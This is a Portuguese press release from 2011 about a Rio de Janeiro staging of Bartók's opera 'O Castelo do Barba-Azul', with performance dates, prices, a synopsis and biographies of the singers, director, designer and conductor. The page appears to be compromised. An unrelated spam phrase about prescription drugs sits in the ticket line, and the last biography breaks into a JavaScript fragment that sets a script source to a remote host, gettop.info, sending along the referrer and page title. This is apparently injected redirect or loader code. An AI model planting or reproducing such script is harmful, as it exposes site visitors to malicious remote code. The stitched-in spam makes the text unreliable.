Escrito por em 28 nov 2011 nas áreas Lateral, Ópera, Programação, Rio de Janeiro

Primeira e bem-sucedida incursão do diretor teatral Felipe Hirsch no universo lírico, O Castelo do Barba-Azul, única ópera do compositor húngaro Béla Bartók, chega ao Rio.

SERVIÇO

 

Theatro Municipal do Rio de Janeiro
Praça Floriano, s/nº – Centro
Fone: 21 2332 9134

Dia 4 de dezembro, às 17h.
Dias 6 e 8 de dezembro, às 20h.
Dia 10 de dezembro, às 21h.

Ingressos:
Plateia e balcão nobre ……………………………………………. R$   84,00
Balcão superior ……………………………………………………..  R$   60,00
Galeria …………………………………………………………………..  R$    25,00
Frisas e camarotes (6lugares) ……………………………….   R$ 504,00

Desconto de 50% para estudantes e idosos

Classificação etária: Livre
Informações: (21) 2332-9191
Vendas na Bilheteria, no site da Ingresso.com ou por telefone 21 4003-2330 price check on prescription drugs

 

 

Exibida originalmente em Belo Horizonte (2006), a montagem foi duplamente premiada no XII Prêmio Carlos Gomes como a melhor ópera de 2008 – ano em que foi apresentada em São Paulo – e melhor cenário, criado por Daniela Thomas, que assina também os figurinos. A iluminação de Beto Bruel e a direção de Hirsch também receberam indicações. Com prólogo declamado pelo ator Guilherme Weber, a ópera reúne o baixo Luiz Molz (Conde Barba-Azul) e a soprano Céline Imbert (Judit), como solistas convidados, e ainda o maestro Aylton Escobar, que estará à frente da Orquestra Sinfônica e do Coro do Theatro Municipal.

Encerramos a temporada lírica de 2011 com esta bela montagem da única ópera de Bartók, que já estava em nossos planos desde o ano passado”, explica Carla Camurati, presidente da Fundação Theatro Municipal.

Com apenas dois cantores em cena, O Castelo do Barba-Azul, que estreou em 1911 com libreto do poeta Béla Balázs, ganhou nesta montagem um cenário atemporal que reforça o simbolismo presente na história. Sete alçapões espelhados sobre um plano inclinado representam as sete portas do castelo do Conde Barba-Azul, cada qual ocultando um mistério de sua alma.

À medida que são abertos por sua quarta esposa, Judit, recebem projeções que criam figuras espectrais, deformadas pelos espelhos, ilustrando cada uma das facetas sombrias da vida do conde. Os figurinos, por sua vez, reiteram o caráter fantástico da ópera húngara, que nesta montagem ganha versão em alemão. “É uma obra sobre reflexos. Assim é também a montagem. Nada é o que parece ser. É sobre o amor também, sobre a fragilidade de homens e mulheres”, define Hirsch.

 

Resumo

Baseada no conto francês Barba-Azul, de Charles Perrault, a ópera começa com a chegada do Conde Barba-Azul e sua quarta esposa, Judit, ao castelo do nobre, sobre o qual pesam suspeitas a respeito do verdadeiro destino de suas três primeiras esposas. Indagada pelo Conde se deseja ficar, Judit decide que sim, mas, diante da escuridão do ambiente, pede-lhe para abrir as portas que estão trancadas. Barba-Azul nega, mas, diante da insistência da esposa, acaba cedendo e, uma a uma, as sete portas são abertas. Uma câmara de tortura manchada de sangue, tesouros, um jardim secreto e um lago de lágrimas são algumas das surpresas e segredos descobertos por Judit na alegórica jornada de autoconhecimento empreendida pelo casal.

 

Béla Bartók

Compositor, pianista e etnomusicólogo húngaro (1881-1945), é mestre na fusão da música erudita com a popular. Começa a compor aos 9 anos. Depois de se formar na Academia de Música de Budapeste, viaja muito como concertista e coleta canções folclóricas em todo o leste da Europa, que grava e classifica.

De 1907 a 1934, trabalha como professor de piano na Academia de Música de Budapeste. Pesquisa também a música folclórica do mundo árabe, o que influencia fortemente suas composições, como o trio Contrastes (1938). Dá concertos nos Estados Unidos, na Europa e na União Soviética. Emigra para os Estados Unidos em 1939, onde morre seis anos depois.

Sua obra inclui peças para teatro, balé, coral, música de câmara, uma ópera e concertos para piano e orquestra, como o Concerto para Orquestra e a sonata Música para Instrumentos de Corda, Percussão e Celesta. Produz ainda Mikrokosmos, coleção de peças para piano destinadas a estudantes, que resume sua linguagem musical. No fim da vida adota um estilo romântico, que lhe proporciona grande êxito.

 

Os intérpretes

Luiz Molz, baixo (Conde Barba Azul)

Gaúcho de Santa Maria, formou-se em Estudos de Música – Bacharelado em Canto na UFSM, em 1995. Aperfeiçoou-se em festivais nacionais e, em 1993, na Academia de Arte de Roma, Itália, onde fez um curso de alto aperfeiçoamento em Canto, através de bolsa de estudos. Três anos depois, ganhou bolsa da Capes para sua Pós-graduação em Ópera na Escola Superior de Música de Karslruhe, Alemanha, com a professora Maria Venuti.

Em seu repertório estão La Bohème, Cosi fan Tutte, Amahl (Menotti), La Traviata, Mefistófeles, Le Nozze di Figaro,  L’Elisir d’amore, Turandot e Don Giovanni, entre outras óperas. Ainda durante seus estudos canta como solista convidado em duas produções da Staatsoper em Stuttgart, sendo uma (Der Gestiefelte Kater) registrada em CD.

Participa também de algumas produções da Escola de Música em Karlsuhe. Na temporada lírica de 1999/2001, logo após concluir seus estudos, passa a fazer parte do elenco de Solistas do Teatro de Freiburg e atua também como solista convidado no Teatro de Kaiserslautern. Em Freiburg interpretou importantes personagens de seu registro vocal, como Sarastro – Flauta Mágica (29 récitas somente neste Teatro).

A partir de 2001, passa a fazer parte do elenco estável de Solistas do Teatro de Ópera de Karlsruhe. Cantou também como solista convidado na Semperoper em Dresden, Deutsche Oper am Rhein, Ulm e Essen entre outros. Em 2003, cantou no Theatro Municipal do Rio de Janeiro König Marke na ópera Tristão e Isolda. Atua também intensamente em Concertos na Suíça, França, Croácia, Bósnia, Luxemburgo, Estônia e naturalmente no Brasil.

 

Céline Imbert, soprano (Judit)

Céline começou a estudar piano aos seis anos de idade. Estudou canto com Caio Ferraz, Luiz Tenaglia e Leilah Farah. Em seu repertório operístico estão Carmen (Bizet), Fosca (Carlos Gomes), Cavalleria Rusticana (Mascagni), Werther (Massenet), A voz humana (Poulenc), Madame Butterfly, Gianni Schicchi,Tosca e Il Tabarro (Puccini), O Castelo do Barba Azul (Bartók), Dido and Aeneas (Purcell) e Tannhäusere Die Walkure, de Wagner.

Venceu o I Festival Jovens Cameristas do Brasil, em 1978, e o Prêmio Carlos Gomes, como Destaque Vocal Feminino, em 2000, para o qual foi indicada em três outras edições: 1998, 1999 e 2002; e ainda o APCA e Eldorado. Na música sinfônica, interpretou a Sinfonia Nº 4, Lieder eines fahrenden Gesellen e Kindertotenlieder, de Mahler; Les Nuits d’Été (Berlioz), Shéhérazade (Ravel), Réquiem (Verdi), Wesendonk Lieder e Liebestod (Wagner) e Poème de l’Amour et de la Mer (Chausson).

 

Felipe Hirsch, direção de cena

Diretor, dramaturgo e produtor, o curitibano Felipe Hirsch construiu carreira no teatro a partir de 1993, quando funda, com o ator Guilherme Weber, a Sutil Companhia de Teatro, responsável por montagens que conquistaram mais de 60 premiações. No repertório do grupo, estão obras de dramaturgos contemporâneos norte-americanos nunca antes montados no Brasil, como Paula Vogel, em “Como eu aprendi a dirigir um carro”, de 2002; e Will Eno, em “Temporada de Gripe”, 2003, e “Thom Pain-Lady Grey”, de 2006.

Antes, Felipe realizou bem-sucedidas montagens de trabalhos de Eugene O’Neil, como “Juventude” (1998), adaptação de Ah, Wilderness! e “A vida é cheia de som e fúria” (2000), adaptação do romance Alta Fidelidade, de Nick Hornby, que lhe valeu o Prêmio Shell de melhor direção em São Paulo. Em 2001, dirige “A memória da água”, de Shelagh Stephenson; “Nostalgia”, com texto do próprio Hirsch, e “Jantar entre amigos” (Pequenos Terremotos), de Donald Margulies com Renata Sorrah e Xuxa Lopes.

Dois anos depois, monta o clássico “A morte de um caixeiro viajante”, de Arthur Miller, com Marco Nanini e Juliana Carneiro da Cunha. Em 2005, é a vez de “Avenida Dropsie”, sucesso de público em que homenageia o quadrinista Will Eisner, falecido no mesmo ano. Fora da companhia, monta, em 2006, o clássico de Molière “O Avarento”, com Paulo Autran, e também sua primeira ópera, “O Castelo do Barba-Azul”, no Palácio das Artes, em Belo Horizonte. Em 2010, é a vez de “Rigoletto”, no Theatro Municipal de São Paulo.

 

Daniela Thomas, cenografia

Filha do cartunista Ziraldo, nascida em 1959, Daniela Thomas teve uma passagem como artista residente do La Mama Experimental Theater, grupo nova-iorquino, antes de estrear como dramaturga com a peça Pentesiléias, nos anos 90, protagonizada por Bete Coelho e Giulia Gam. Daniela Thomas acumula uma série de prêmios ao longo de sua carreira como cenógrafa, estando sempre presente nas fichas técnicas dos espetáculos mais prestigiados da temporada teatral no eixo Rio-São Paulo.

Estreou na direção de longa-metragem com Terra estrangeira (1995), quando inaugurou também uma parceria de direção com Walter Salles, que teve continuidade com o longa O primeiro dia (1999). Estudou cinema com Steven Bernstein, em Londres, e com ele fundou a produtora Crosswind Films. Co-dirigiu com Walter Salles os curtas-metragens Somos todos filhos da terra (2000) e A saga de Castanha e Caju contra o encouraçado Titanic (2002).

Ex-esposa do diretor Gerald Thomas, inicia-se no profissionalismo assinando a cenografia de All Strange Away, de Samuel Beckett, no Teatro La MaMa, Nova York, em 1983. No ano seguinte, está em Beckett Trilogy, outra incursão pelo universo minimalista do autor irlandês. No Brasil desde 1985, cria a visualidade de algumas realizações de impacto na cena nacional, tais como Quatro Vezes Beckett, em 1985; Quartett e Carmem com Filtro, em 1986, e Eletra Com Creta, em 1987.

Para a encenação da ópera O Navio Fantasma, de Wagner, cria um monumental cenário que evoca a Segunda Guerra, em 1987. A Trilogia Kafka é criada em 1988, primeiro trabalho da Companhia de Ópera Seca. Segue-se Carmem com Filtro 2, e uma nova ópera é criada no Rio de Janeiro, em 1989: Mattogrosso, de Gerald Thomas e Phillip Glass. Em 1990, está em Sturmspiel, criado na Alemanha, e em Fim de Jogo, nova criação de Gerald Thomas inspirada em Samuel Beckett. No mesmo ano produz a cenografia de M.O.R.T.E. Uma segunda versão da montagem apresenta-se em Taormina, Itália.

Em 1991, cria Perseu e Andrômeda, no Staatstheater de Stuttgart; The Said Eyes of Karlheinz Öhl, em Volterra; e The Flash and Crash Days – Tempestade e Fúria, no Brasil. Saints and Clowns, nova criação junto à Companhia de Ópera Seca, estreia em Hamburgo, em 1992. Em 1994, está numa realização inteiramente feminina, Pentesileias, texto que ela adapta de Kleist para direção de Bete Coelho e faz cenografia para Bonita Lampião, de Renata Melo. Em 2000, volta à cenografia com Pai, de Cristina Mutarelli, direção de Paulo Autran. Para o diretor curitibano Felipe Hirsch, cenografa  Nostalgia, do próprio Felipe, 2001; Os Solitários, dois textos de Nicky Silver, 2002; e A Morte de um Caixeiro Viajante, de Arthur Miller, 2003.

 

Aylton Escobar, regência

Regente Adjunto da Orquestra Sinfônica e da Orquestra de Câmara da Universidade de São Paulo, Aylton Escobar é compositor e regente formado na Academia Paulista de Música, onde estudou com Osvaldo Lacerda e Camargo Guarnieri. Estudou ainda com Magda Tagliaferro, Alceu Bocchino, Francisco Mignone e Lúcia Branco.

Fez aperfeiçoamento em música eletrônica com Vladimir Ussachevsky, na Columbia University, em Nova York. Ganhou diversos prêmios no Brasil e no exterior, como Molière, Prêmio Governador do Estado de São Paulo e da Associação dos Críticos de Arte (APCA) e membro da Academia Brasileira de Música. Tem obras publicadas no Brasil, EUA, Alemanha e Venezuela. É professor das cadeiras de Orquestração, Composição e Regência da Universidade de São Paulo (USP).} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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